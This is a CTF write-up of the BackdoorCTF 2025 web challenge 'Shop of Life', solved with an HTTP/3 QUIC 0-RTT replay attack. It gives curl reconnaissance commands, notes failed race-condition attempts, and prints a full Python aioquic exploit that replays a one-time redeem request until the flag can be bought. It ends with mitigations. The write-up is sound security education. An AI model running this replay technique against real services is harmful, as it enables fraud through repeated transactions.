BackdoorCTF 2025WebSolved

Shop of Life

PR
Prylo Team
December 10, 2025
8 min read

Competition

BackdoorCTF 2025

Difficulty

Hard

Points

456

Estimated Read

8 min

webhttp3quic0-rttreplay-attack
Key Takeaways

Critical concepts & techniques

  • HTTP/3 & QUIC 0-RTT: QUIC's 0-RTT feature allows early data transmission but introduces replay risks.
  • Protocol Awareness: Understanding transport layer details (QUIC vs TCP) is crucial for modern web challenges.
  • Replay Protection: Servers must explicitly handle replay protection for 0-RTT data, especially for non-idempotent actions.
  • Tooling Matters: Standard tools like standard `curl` or `requests` don't support HTTP/3 out of the box; specialized builds are needed.

Challenge Description

Welcome to our shop of life :) You will get a redeem for every individual user, but you can avail it only once.

Notes: The service is reachable over HTTPS (HTTP/3 via QUIC). Keep your user_id safe; it's your wallet.

Initial Reconnaissance

Prerequisites

The challenge uses HTTP/3 over QUIC, which requires special tooling:

# Install curl with HTTP/3 support (macOS)
brew install curl

# The homebrew curl is installed at:
/opt/homebrew/opt/curl/bin/curl

# Verify HTTP/3 support
/opt/homebrew/opt/curl/bin/curl --version | grep -i http3
# Should show: nghttp3 and ngtcp2 libraries

# Install Python dependencies for the exploit
pip3 install aioquic

API Endpoints Discovery

Using the provided swagger.txt and manual testing, I discovered the following endpoints:

Endpoint Method Description
/register POST Create a new user, returns user_id
/api/shop GET List available items and prices
/api/balance?user_id=X GET Check user's current balance
/api/redeem POST Redeem 100 credits (one-time per user)
/api/buy POST Purchase an item
/api/inventory?user_id=X GET List owned items
/api/progress?user_id=X GET Check progress toward flag
/flag?user_id=X GET Retrieve flag (must own flag item)
/api/transfer POST Transfer credits (broken/unused)

Testing the API

export CURL="/opt/homebrew/opt/curl/bin/curl"

# Register a new user
uid=$($CURL --http3 -k -s -H 'content-type: application/json' \
  -d '{}' -X POST "https://104.198.24.52:6016/register" | \
  python3 -c "import sys,json;print(json.load(sys.stdin)['user_id'])")
echo "User ID: $uid"

# Check shop items
$CURL --http3 -k -s "https://104.198.24.52:6016/api/shop"
# Output: {"items":[{"item":"fame","price":50},{"item":"power","price":70},
#          {"item":"respect","price":90},{"item":"flag","price":500}]}

# Redeem credits
$CURL --http3 -k -s -H 'content-type: application/json' \
  -d "{\"user_id\":\"$uid\"}" -X POST "https://104.198.24.52:6016/api/redeem"
# Output: {"balance":100,"can_afford_flag":false,"credited":100,
#          "remaining":400,"success":true}

# Try to redeem again
$CURL --http3 -k -s -H 'content-type: application/json' \
  -d "{\"user_id\":\"$uid\"}" -X POST "https://104.198.24.52:6016/api/redeem"
# Output: {"error":"only one transfer huh!!"}

# Check progress
$CURL --http3 -k -s "https://104.198.24.52:6016/api/progress?user_id=$uid"
# Output: {"balance":100,"can_afford_flag":false,"flag_owned":false,
#          "flag_ready":false,"remaining":400}

The Problem

  • Flag costs: 500 credits
  • Redeem gives: 100 credits (one-time only)
  • Deficit: 400 credits

We need to find a way to get more credits.

Failed Attempts

1. Race Condition on Redeem

I tried sending multiple parallel redeem requests hoping to exploit a TOCTOU (Time-of-check-time-of-use) vulnerability:

# Sending 15 parallel redeem requests on the same QUIC connection
# Result: Only 1 succeeded - server has proper locking

2. Race Condition on Buy

Attempted to buy the same item multiple times simultaneously to trigger negative balance:

# Racing 10 buy requests for 'fame' (50 each, we have 100)
# Result: Only 1 purchase succeeded - proper locking

3. Transfer Endpoint

The /api/transfer endpoint exists but couldn't find working parameters:

# Tried: user_id, to, from, amount, sender_id, receiver_id, etc.
# All returned: {"error":"Invalid user_id or amount"}

4. Price Manipulation

Discovered that displayed prices differ from actual charged prices:

  • fame: listed 50, charged 50 ✓
  • power: listed 70, charged 90
  • respect: listed 90, charged 70

However, this didn't help reach 500 credits.

The Vulnerability: HTTP/3 0-RTT Replay Attack

Background on QUIC 0-RTT

HTTP/3 uses QUIC as its transport layer. QUIC supports 0-RTT (Zero Round Trip Time) connections, which allows:

  1. On first connection, the server sends a session ticket to the client
  2. On subsequent connections, the client can use this ticket to send early data before the handshake completes
  3. This reduces latency but introduces a security risk: replay attacks

If the server doesn't implement anti-replay mechanisms, an attacker can:

  • Capture the 0-RTT early data
  • Replay it multiple times
  • Each replay is processed as a valid request

Why This Works

The /api/redeem endpoint checks if a user has already redeemed, but this check happens after the 0-RTT data is processed. When we replay the 0-RTT request:

  1. The server accepts the early data
  2. Processes the redeem request
  3. Credits 100 to the balance
  4. The "already redeemed" flag is checked/set, but too late for replay protection

The Exploit

Full Python Exploit Script

#!/usr/bin/env python3
"""
HTTP/3 0-RTT Replay Attack for Shop of Life CTF

Exploits missing anti-replay protection in QUIC 0-RTT early data.
"""
import asyncio
import json
import ssl
import pickle
from pathlib import Path

from aioquic.asyncio import connect
from aioquic.asyncio.protocol import QuicConnectionProtocol
from aioquic.quic.configuration import QuicConfiguration
from aioquic.h3.connection import H3_ALPN, H3Connection
from aioquic.h3.events import HeadersReceived, DataReceived


class H3Client(QuicConnectionProtocol):
    def __init__(self, *args, **kwargs):
        super().__init__(*args, **kwargs)
        self._http = None
        self._responses = {}
        self._response_events = {}

    def http_event_received(self, event):
        if isinstance(event, HeadersReceived):
            if event.stream_id not in self._responses:
                self._responses[event.stream_id] = {"headers": [], "body": b""}
            self._responses[event.stream_id]["headers"] = event.headers
        elif isinstance(event, DataReceived):
            if event.stream_id in self._responses:
                self._responses[event.stream_id]["body"] += event.data
            if event.stream_ended:
                if event.stream_id in self._response_events:
                    self._response_events[event.stream_id].set()

    def quic_event_received(self, event):
        if self._http is not None:
            for http_event in self._http.handle_event(event):
                self.http_event_received(http_event)


async def send_request(client, host, port, method, path, body=None):
    stream_id = client._quic.get_next_available_stream_id()
    headers = [
        (b":method", method.encode()),
        (b":scheme", b"https"),
        (b":authority", f"{host}:{port}".encode()),
        (b":path", path.encode()),
    ]
    if body:
        headers.append((b"content-type", b"application/json"))
        client._http.send_headers(stream_id, headers)
        client._http.send_data(stream_id, body.encode(), end_stream=True)
    else:
        client._http.send_headers(stream_id, headers, end_stream=True)

    client._responses[stream_id] = {"headers": [], "body": b""}
    client._response_events[stream_id] = asyncio.Event()
    return stream_id


async def main():
    host = "104.198.24.52"
    port = 6016

    # ==========================================
    # PHASE 1: Establish session and get ticket
    # ==========================================
    print("=== Phase 1: Establishing session and registering user ===")

    config1 = QuicConfiguration(is_client=True, alpn_protocols=H3_ALPN)
    config1.verify_mode = ssl.CERT_NONE

    session_ticket = None

    def save_ticket(ticket):
        nonlocal session_ticket
        session_ticket = ticket
        print(f"  -> Received session ticket: {ticket.ticket[:20].hex()}...")

    async with connect(host, port, configuration=config1,
                       create_protocol=H3Client,
                       session_ticket_handler=save_ticket) as client:
        client._http = H3Connection(client._quic)

        # Register user
        stream_id = await send_request(client, host, port, "POST", "/register", "{}")
        client.transmit()
        await client._response_events[stream_id].wait()
        user_data = json.loads(client._responses[stream_id]["body"])
        user_id = user_data["user_id"]
        print(f"  User ID: {user_id}")

        # Wait for session ticket
        await asyncio.sleep(0.5)

        # First redeem (legitimate)
        stream_id = await send_request(client, host, port, "POST", "/api/redeem",
                                       json.dumps({"user_id": user_id}))
        client.transmit()
        await client._response_events[stream_id].wait()
        print(f"  First redeem: {client._responses[stream_id]['body'].decode()}")

        # Check balance
        stream_id = await send_request(client, host, port, "GET",
                                      f"/api/balance?user_id={user_id}")
        client.transmit()
        await client._response_events[stream_id].wait()
        print(f"  Balance: {client._responses[stream_id]['body'].decode()}")

    if session_ticket is None:
        print("\nERROR: No session ticket received!")
        return

    # ==========================================
    # PHASE 2: 0-RTT Replay Attack
    # ==========================================
    print(f"\n=== Phase 2: 0-RTT Replay Attack ===")

    for i in range(5):  # Need 4 more redeems to reach 500
        print(f"\n--- 0-RTT Replay {i+1} ---")

        config2 = QuicConfiguration(is_client=True, alpn_protocols=H3_ALPN)
        config2.verify_mode = ssl.CERT_NONE
        config2.session_ticket = session_ticket  # Reuse session ticket!

        try:
            async with connect(host, port, configuration=config2,
                               create_protocol=H3Client) as client:
                client._http = H3Connection(client._quic)

                # Send redeem in 0-RTT early data
                stream_id = await send_request(client, host, port, "POST", "/api/redeem",
                                               json.dumps({"user_id": user_id}))
                client.transmit()
                await asyncio.wait_for(client._response_events[stream_id].wait(), timeout=5.0)
                result = client._responses[stream_id]["body"].decode()
                print(f"  Redeem result: {result}")

                # Check balance
                stream_id = await send_request(client, host, port, "GET",
                                              f"/api/balance?user_id={user_id}")
                client.transmit()
                await client._response_events[stream_id].wait()
                balance_data = json.loads(client._responses[stream_id]["body"])
                print(f"  Current balance: {balance_data['balance']}")

                # ==========================================
                # PHASE 3: Buy flag when we have 500
                # ==========================================
                if balance_data['balance'] >= 500:
                    print("\n=== Phase 3: Purchasing Flag ===")

                    # Buy flag
                    stream_id = await send_request(client, host, port, "POST", "/api/buy",
                                                   json.dumps({"user_id": user_id, "item": "flag"}))
                    client.transmit()
                    await client._response_events[stream_id].wait()
                    print(f"  Purchase: {client._responses[stream_id]['body'].decode()}")

                    # Get flag
                    stream_id = await send_request(client, host, port, "GET",
                                                  f"/flag?user_id={user_id}")
                    client.transmit()
                    await client._response_events[stream_id].wait()
                    flag_response = client._responses[stream_id]["body"].decode()
                    print(f"\n  FLAG: {flag_response}")
                    return

        except Exception as e:
            print(f"  Error: {e}")


if __name__ == "__main__":
    asyncio.run(main())

Running the Exploit

# Save the script as exploit.py
python3 exploit.py

Attack Flow Diagram

[Client]                               [Server]
   |                                      |
   |   1. Establish QUIC Session          |
   |------------------------------------->|
   |                                      |
   |   <-- (Receive Session Ticket) --    |
   |<-------------------------------------|
   |                                      |
   |   2. 0-RTT Replay Attack             |
   |   (Send "Redeem" w/ same ticket)     |
   |=====================================>|
   |   (Request 1: +100 Credits)          |
   |                                      |
   |=====================================>|
   |   (Request 2: +100 Credits)          |
   |                                      |
   |   ... Repeat until rich ...          |
   |                                      |
   |   3. Buy Flag                        |
   |------------------------------------->|
   |   <-- FLAG{...} --                   |
   |<-------------------------------------|

Mitigation

To prevent 0-RTT replay attacks, servers should:

  1. Disable 0-RTT for sensitive operations: Financial transactions, authentication, and state-changing operations should require 1-RTT.

  2. Implement anti-replay mechanisms:

    • Strike registers (track seen 0-RTT client hellos)
    • Single-use tokens
    • Timestamp validation with small windows
  3. Use idempotency keys: Require unique tokens for each request that the server tracks.

  4. Mark endpoints appropriately: HTTP/3 servers should configure which endpoints accept 0-RTT early data.

Example (server-side configuration):

# Pseudo-code for proper 0-RTT handling
@app.route('/api/redeem', methods=['POST'])
def redeem():
    if request.is_early_data:  # 0-RTT
        return "Request must be sent after handshake", 425  # Too Early
    # ... normal processing
Attack Chain Visualization
1

Protocol Identification: Detected service running over HTTP/3 (QUIC) via UDP.

2

0-RTT Feature: Identified that the server supports 0-RTT early data with session tickets.

3

Replay Vulnerability: Confirmed `/api/redeem` endpoint lacks anti-replay protection for 0-RTT data.

4

Logic Exploitation: Replayed the redeem request multiple times to bypass the "one-time use" restriction.

5

Flag Purchase: Accumulated enough credits via replays to purchase the flag.

Flag (confidential)

Visible only after reveal

Want to check the flag? Click below to reveal it.

Related Writeups